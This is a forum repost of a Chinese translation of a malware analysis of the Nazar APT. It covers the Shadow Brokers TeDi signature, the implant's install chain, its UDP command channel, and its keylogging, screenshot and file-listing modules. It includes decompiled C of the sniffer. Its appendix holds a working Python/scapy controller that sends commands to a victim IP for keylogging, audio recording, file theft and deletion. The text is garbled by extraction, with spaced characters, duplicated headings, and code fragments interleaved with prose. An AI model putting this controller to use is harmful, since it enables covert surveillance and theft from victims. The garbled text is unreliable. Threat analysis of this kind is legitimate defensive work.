搜索

[15433] 2020-05-30_NazarAPT组织分析

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2020-05-30_NazarAPT组织分析 N a z a r   A P T 组 织 分 析 K r i s t o n   F r e e B u f   2 0 2 0 - 0 5 - 3 0 6 : 2 2   A M   1 1 / 7 / 2 0 1 2   c o n f i c k e r   s t i l l   o n   t a r g e t 6 : 1 8   A M   1 1 / 7 / 2 0 1 2   c h e c k i n g   l o g s   -   w e   a r e   c l e a n 8 : 1 6   P M   7 / 2 / 2 0 1 2   -   B O O M ! ,   g o t   t h e   c a l l b a c k 这 些 是 方 程 组 （ 这 些 是 方 程 组 （ N S A ） 在 攻 击 目 标 系 统 留 下 的 记 录 ， 后 来 被 ） 在 攻 击 目 标 系 统 留 下 的 记 录 ， 后 来 被 S h a d o w   B r o k e r s 泄 露 。 最 近 ， 安 全 研 究 员 透 露 了 一 泄 露 。 最 近 ， 安 全 研 究 员 透 露 了 一 个 先 前 被 错 误 识 别 且 未 知 的 威 胁 组 织 个 先 前 被 错 误 识 别 且 未 知 的 威 胁 组 织 N a z a r ， 本 文 将 对 ， 本 文 将 对 N a z a r 组 件 进 行 深 入 分 析 。 组 件 进 行 深 入 分 析 。 事 件 背 景 事 件 背 景 影 子 经 纪 人 泄 漏 的 数 据 使 众 多 漏 洞 （ 例 如 E t e r n a l B l u e ） 成 为 众 人 关 注 的 焦 点 ， 但 其 中 还 包 含 了 许 多 更 有 价 值 的 组 件 ， 这 些 组 件 显 示 了 E q u a t i o n   G r o u p 在 发 动 攻 击 之 前 采 取 的 一 些 预 防 措 施 。 例 如 ， 在 泄 漏 文 件 中 名 为 “   d r v _ l i s t . t x t ” 的 文 件 ， 其 中 包 含 驱 动 程 序 名 称 列 表 和 相 应 的 注 释 ， 如 果 在 目 标 系 统 上 找 到 了 驱 动 程 序 ， 则 会 将 信 息 发 送 给 攻 击 者 。 列 表 中 还 包 含 恶 意 驱 动 程 序 的 名 称 ， 如 果 找 到 这 些 恶 意 驱 动 程 序 ， 表 明 目 标 系 统 已 经 被 其 他 人 破 坏 ， 然 后 警 告 攻 击 者 “ 撤 回 ” 。 负 责 此 类 检 查 的 关 键 组 件 名 为 “ T e r r i t o r i a l   D i s p u t e ” 或 者 “ T e D i ” 。
“   T e D i ” 包 含 4 5 个 签 名 ， 可 在 目 标 系 统 中 搜 索 与 其 他 威 胁 组 织 关 联 的 注 册 表 项 和 文 件 名 。 与 安 全 扫 描 不 同 ， 攻 击 者 最 终 目 的 是 确 保 自 身 操 作 不 会 受 到 干 扰 ， 其 他 攻 击 者 不 会 检 测 到 他 们 的 工 具 。 在 某 些 情 况 下 ， 防 止 自 身 操 作 不 会 干 扰 “ 友 好 ” 威 胁 组 的 运 行 ， 也 不 会 同 时 攻 击 同 一 目 标 。 安 全 研 究 员 指 出 ， “   T e D i ” 中 的 第 3 7 个 签 名 是 寻 找 名 为 “   G o d o w n . d l l ” 的 文 件 ， 它 指 向 的 就 是 伊 朗 威 胁 组 织 “ N a z a r ” 。
执 行 流 程 执 行 流 程 N a z a r 在 2 0 0 8 年 左 右 开 始 活 动 ， 可 能 与 第 ‘ T e D i ’ 第 3 7 个 签 名 相 关 ， 它 负 责 检 测 N a z a r 工 具 插 件 “   G o d o w n . d l l ” 。 N a z a r 执 行 的 初 始 二 进 制 文 件 是 g p U p d a t e s . e x e 。 它 是 由 “   Z i p   2   S e c u r e   E X E ” 创 建 的 自 解 压 文 档 （ S F X ） 。 执 行 后 ， g p U p d a t e s 将 三 个 文 件 写 入 磁 盘 ： D a t a . b i n ， i n f o 和 D i s t r i b u t e . e x e ，   然 后 g p U p d a t e s . e x e 将 启 动 D i s t r i b u t e . e x e 。 D i s t r i b u t e . e x e 首 先 ， D i s t r i b u t e . e x e 将 读 取 i n f o 和 D a t a . b i n 。 D a t a . b i n 是 一 个 二 进 制 B l o b ， 其 中 包 含 多 个 P E 文 件 。 i n f o 文 件 非 常 小 ， 其 中 包 含 一 个 简 单 的 结 构 ， 该 结 构 表 示 D a t a . b i n 中 P E 文 件 的 长 度 。 D i s t r i b u t e . e x e 将 按 文 件 长 度 的 顺 序 逐 个 读 取 D a t a . b i n 。 下 表 显 示 了 D a t a . b i n 文 件 与 i n f o 写 入 长 度 的 关 系 。 之 后 D i s t r i b u t e . e x e 使 用 r e g s v * 将 3 个 D L L 文 件 写 入 注 册 表 中 。 使 用 C r e a t e S e r v i c e A 将 s v c h o s t . e x e 添 加 为 名 为 “   E Y S e r v i c e ” 的 服 务 ， 启 动 该 服 务 并 退 出 。 该 服 务 是 攻 击 的 主 要 部 分 ， 协 调 N a z a r 调 用 模 块 。
通 信 分 析 通 信 分 析 服 务 执 行 后 ， 首 先 设 置 数 据 包 嗅 探 。 D W O R D   _ _ s t d c a l l   m a i n _ t h r e a d ( L P V O I D   l p T h r e a d P a r a m e t e r ) {     H A N D L E   h M g r ;   / /   e d i     H A N D L E   h C f g ;   / /   e s i     H A N D L E   h F t r ;   / /   e d i     h M g r   =   M g r C r e a t e ( ) ;     M g r I n i t i a l i z e ( h M g r ) ;     h C f g   =   M g r G e t F i r s t A d a p t e r C f g ( h M g r ) ;     d o     {         i f   (   ! A d p C f g G e t A c c e s s i b l e S t a t e ( h C f g )   )             b r e a k ;         h C f g   =   M g r G e t N e x t A d a p t e r C f g ( h M g r ,   h C f g ) ;     }     w h i l e   (   h C f g   ) ;     A D P _ s t r u c t   =   A d p C r e a t e ( ) ;     A d p S e t C o n f i g ( A D P _ s t r u c t ,   h C f g ) ;     i f   (   ! A d p O p e n A d a p t e r ( A D P _ s t r u c t )   )     {         A d p G e t C o n n e c t S t a t u s ( A D P _ s t r u c t ) ;
每 当 U D P 数 据 包 到 达 时 ， 无 论 是 否 存 在 响 应 ， 都 会 记 录 其 源 I P 以 用 于 下 一 个 响 应 。 然 后 检 查 数 据 包 的 目 标 端 口 ， 如 果 是 1 2 3 4 ， 则 将 数 据 将 转 发 到 命 令 处 理 器 。 数 据 响 应 数 据 响 应 每 个 响 应 都 会 从 头 开 始 构 建 数 据 包 ， 响 应 分 为 3 种 类 型 ： 1 、 发 送 A C K ： 目 标 端 口 4 0 0 0 ， 有 效 负 载 1 0 1 ;   0 0 0 0 2 、 发 送 计 算 机 信 息 ： 目 标 端 口 4 0 0 0 ， 有 效 负 载 1 0 0 ； < 计 算 机 名 称 > ;   < 操 作 系 统 名 称 > 3 、 发 送 文 件 ： 通 过 U D P 发 送 数 据 ， 然 后 是 带 有 的 数 据 包 。 如 果 服 务 器 将 标 识 为 0 x 3 4 5 6 的 数 据 包 发 送 到 目 标 端 口 1 2 3 4 ， 恶 意 软 件 将 使 用 目 标 端 口 0 x 5 6 3 4 发 送 响 应 。         A d p G e t C o n n e c t S t a t u s ( A D P _ s t r u c t ) ;         M a x P a c k e t S i z e   =   A d p C f g G e t M a x P a c k e t S i z e ( h C f g ) ;         a d a p t e r _ i p   =   A d p C f g G e t I p A _ w r a p p e r ( h C f g ,   0 ) ;         A d p C f g G e t M A C A d d r e s s ( h C f g ,   & m a c _ a d d r e s s ,   6 ) ;         h F t r   =   B p f C r e a t e ( ) ;         B p f A d d C m d ( h F t r ,   B P F _ L D _ B _ A B S ,   2 3 u ) ;                   / /     G e t   P r o t o c o l   f i e l d   v a l u e         B p f A d d J m p ( h F t r ,   B P F _ J M P _ J E Q ,   I P P R O T O _ U D P ,   0 ,   1 ) ; / /   P r o t o c o l   = =   U D P         B p f A d d C m d ( h F t r ,   B P F _ R E T ,   0 x F F F F F F F F ) ;         B p f A d d C m d ( h F t r ,   B P F _ R E T ,   0 ) ;         A d p S e t U s e r F i l t e r ( A D P _ s t r u c t ,   h F t r ) ;         A d p S e t U s e r F i l t e r A c t i v e ( A D P _ s t r u c t ,   1 ) ;         A d p S e t O n P a c k e t R e c v ( A D P _ s t r u c t ,   o n _ p a c k e t _ r e c v _ h a n d l e r ,   0 ) ;         A d p S e t M a c F i l t e r ( A D P _ s t r u c t ,   2 ) ;         w h i l e   (   1   )         {             i f   (   s t o p _ a n d _ p i n g   = =   1   )             {                 a d a p t e r _ i p   =   A d p C f g G e t I p A _ w r a p p e r ( h C f g ,   0 ) ;                 c o n n e c t i o n _ m e t h o d ( 2 ) ;                 s t o p _ a n d _ p i n g   =   0 ;             }             S l e e p ( 1 0 0 0 u ) ;         }     }     r e t u r n   0 ; } i n t   _ _ c d e c l   c o m m a n d M e t h o d s W r a p p e r ( u d p _ t   * u d p _ p a c k e t ,   i n t   z e r o ,   c h a r   * s r c _ i p ,   i n t   i p _ i d ) {     i n t   l e n g t h ;   / /   e d i     l e n g t h   =   H I B Y T E ( u d p _ p a c k e t - > l e n g t h )   -   8 ;     n t o h s ( u d p _ p a c k e t - > s r c _ p o r t ) ;     i f   (   n t o h s ( u d p _ p a c k e t - > d s t _ p o r t )   ! =   1 2 3 4   )         r e t u r n   0 ;     c o m m a n d D i s p a t c h e r ( & u d p _ p a c k e t [ 1 ] ,   s r c _ i p ,   i p _ i d ,   l e n g t h ) ;     r e t u r n   1 ; }
支 持 命 令 支 持 命 令 下 表 为 命 令 支 持 列 表 ：
D l l 分 析 分 析 G o d o w n . d l l G o d o w n . d l l 是 S I G 3 7 重 点 关 注 的 D L L ， 它 是 一 个 小 型 D L L ， 只 有 一 个 关 闭 计 算 机 的 功 能 。 F i l e s y s t e m . d l l F i l e s y s t e m . d l l 是 由 攻 击 者 自 己 编 写 的 模 块 。 该 模 块 的 目 的 是 枚 举 受 感 染 系 统 上 的 驱 动 器 ， 文 件 夹 和 文 件 ， 并 将 结 果 写 入 D r i v e s . t x t 和 F i l e s . t x t 。 目 前 发 现 两 个 版 本 均 包 含 P D B 路 径 ， 其 中 提 到 了 波 斯 语 为 K h z e r （ 或 ﺧ ﻀ ﺮ ） 的 文 件 夹 ： C : k h z e r D L L s D L L ’ s   S o u r c e F i l e s y s t e m D e b u g F i l e s y s t e m . p d b D : K h z e r C l i e n t D L L ’ s   S o u r c e F i l e s y s t e m D e b u g F i l e s y s t e m . p d b 两 条 路 径 之 间 存 在 一 些 差 异 ， 表 明 该 模 块 的 两 个 版 本 不 是 在 同 一 环 境 中 编 译 的 。
h o d l l . d l l h o d l l . d l l 模 块 负 责 键 盘 记 录 ， 通 过 设 置 钩 子 来 完 成 。 该 代 码 来 自 开 源 代 码 库 ， 某 种 程 度 上 像 从 互 联 网 上 复 制 了 多 个 项 目 的 代 码 ， 最 终 拼 装 在 一 起 。 V i e w S c r e e n . d l l 该 D L L 基 于 名 为 “   B M G L i b ” 的 开 源 项 目 ， 用 于 获 取 受 害 者 计 算 机 的 屏 幕 截 图 。 附 录 附 录 I O C s P y t h o n   S e r v e r f r o m   s c a p y . a l l   i m p o r t   * i m p o r t   s t r u c t i m p o r t   s o c k e t i m p o r t   h e x d u m p i m p o r t   a r g p a r s e D S T _ P O R T   =   1 2 3 4 #   4 0 0 0   i s   t h e   u s u a l   p o r t   w i t h o u t   s e n d i n g   f i l e s ,   b u t   w e   u s e   i t   f o r   e v e r y t h i n g ,   b e c a u s e   w h y   n o t ? S E R V E R _ P O R T   =   4 0 0 0 #   W e   w a n t   t o   m a k e   s u r e   t h e   I D   h a s   t h e   l i t t l e   e n d i a n   o f   i t I D   =   s t r u c t . u n p a c k ( ' > H ' , s t r u c t . p a c k ( ' < H ' , 4 0 0 0 ) ) [ 0 ] d e f   g e t _ r e s p o n s e ( s o c k ,   s h o u l d _ l o o p ) :         s t a r t e d   =   F a l s e         t o t a l _ p a y l o a d   =   b ' '         w h i l e ( s h o u l d _ l o o p   o r   n o t   s t a r t e d ) :                 t r y :                         p a y l o a d ,   c l i e n t _ a d d r e s s   =   s o c k . r e c v f r o m ( 4 0 9 6 )                 e x c e p t   C o n n e c t i o n R e s e t E r r o r :                                 p a y l o a d ,   c l i e n t _ a d d r e s s   =   s o c k . r e c v f r o m ( 4 0 9 6 )                 t o t a l _ p a y l o a d   + =   p a y l o a d                 #   G o o d   e n o u g h   s t o p   c o n d i t i o n                 i f   ( l e n ( p a y l o a d )   > =   4
                i f   ( l e n ( p a y l o a d )   > =   4                         a n d   p a y l o a d [ : 3 ]   = =   b ' - - - '                         a n d   p a y l o a d [ 4 ]   > =   o r d ( ' 0 ' )                         a n d   p a y l o a d [ 4 ]   < =   o r d ( ' 9 ' ) ) :                         s h o u l d _ l o o p   =   F a l s e                 s t a r t e d   =   T r u e         h e x d u m p . h e x d u m p ( t o t a l _ p a y l o a d ) M E N U   =   " " " W e l c o m e   t o   N A Z A R .   P l e a s e   c h o o s e :                     9 9 9   -   G e t   a   p i n g   f r o m   t h e   v i c t i m .                     5 5 5   -   G e t   i n f o r m a t i o n   o n   t h e   v i c t i m ' s   m a c h i n e .                     3 1 1   -   S t a r t   k e y l o g g i n g   ( 3 1 2   t o   d i s a b l e ) .                     1 3 9   -   S h u t d o w n   v i c t i m ' s   m a c h i n e .                     1 8 9   -   S c r e e n s h o t   ( 3 1 3   t o   d i s a b l e ) .                     1 1 9   -   R e c o r d   a u d i o   f r o m   M i c r o p h o n e   ( 3 1 5   t o   d i s a b l e ) .                     1 9 9   -   L i s t   d r i v e s .                     2 0 0   -   L i s t   r e c u r s i v l e y   f r o m   d i r e c t o r y * .                     2 0 1   -   S e n d   a   f i l e * .                     2 0 9   -   R e m o v e   f i l e * .                     5 9 9   -   L i s t   d e v i c e s . *   ( a p p e n d   a   p a t h ,   u s e   d o u b l e - b a c k s l a s h e s ) q u i t   t o   Q u i t , h e l p   f o r   t h i s   m e n u .                         " " " d e f   g e t _ m e s s a g e ( ) :         w h i l e   T r u e :                 c u r r _ m e s s a g e   =   i n p u t ( ' >   ' ) . s t r i p ( )                 i f   ' q u i t '   i n   c u r r _ m e s s a g e :                         r e t u r n   N o n e                 i f   ' h e l p '   i n   c u r r _ m e s s a g e :                         p r i n t ( M E N U )                 e l s e :                         r e t u r n   c u r r _ m e s s a g e d e f   g e t _ s o c k ( ) :         s o c k   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ D G R A M )         s e r v e r _ a d d r e s s   =   ' 0 . 0 . 0 . 0 '         s e r v e r   =   ( s e r v e r _ a d d r e s s ,   S E R V E R _ P O R T )         s o c k . b i n d ( s e r v e r )         r e t u r n   s o c k           d e f   m a i n ( i p _ a d d r ) :         s o c k   =   g e t _ s o c k ( )         p r i n t ( M E N U )         m u l t i _ p a c k e t s   =   [ " 2 0 0 " , " 2 0 1 " ,   " 1 1 9 " ,   " 1 8 9 " ,   " 3 1 1 " ,   " 1 9 9 " ,   " 5 9 9 " ]         s i n g l e _ p a c k e t s   =   [ " 9 9 9 " ,   " 5 5 5 " ]         a l l _ c o m m a n d s   =   s i n g l e _ p a c k e t s   +   m u l t i _ p a c k e t s         w h i l e   T r u e :                 c u r r _ m e s s a g e   =   g e t _ m e s s a g e ( )                 i f   n o t   c u r r _ m e s s a g e :                         b r e a k
* 参 考 来 源 ： 参 考 来 源 ： c h e c k p o i n t ， 由 ， 由 K r i s t o n 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐                 #   S e n d   m e s s a g e   u s i n g   s c a p y                 #   M a k e   s u r e   t h e   I P   i d e n t i f i c a t i o n   f i e l d   i s   l i t t l e   e n d i a n   o f   t h e   p o r t .                 s r 1 (                         I P ( d s t = i p _ a d d r ,   i d = I D ) /                         U D P ( s p o r t = S E R V E R _ P O R T , d p o r t = 1 2 3 4 ) /                         R a w ( l o a d = c u r r _ m e s s a g e ) ,                         v e r b o s e = 0                 )                 c o m m a n d   =   c u r r _ m e s s a g e [ : 3 ]                 i f   c o m m a n d   n o t   i n   a l l _ c o m m a n d s :                         c o n t i n u e                 s h o u l d _ l o o p   =   c o m m a n d   i n   m u l t i _ p a c k e t s                 g e t _ r e s p o n s e ( s o c k ,   s h o u l d _ l o o p ) i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         p a r s e r   =   a r g p a r s e . A r g u m e n t P a r s e r ( d e s c r i p t i o n = " v i c t i m ' s   I P " )         p a r s e r . a d d _ a r g u m e n t ( ' i p ' )         a r g s   =   p a r s e r . p a r s e _ a r g s ( )         m a i n ( a r g s . i p )
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理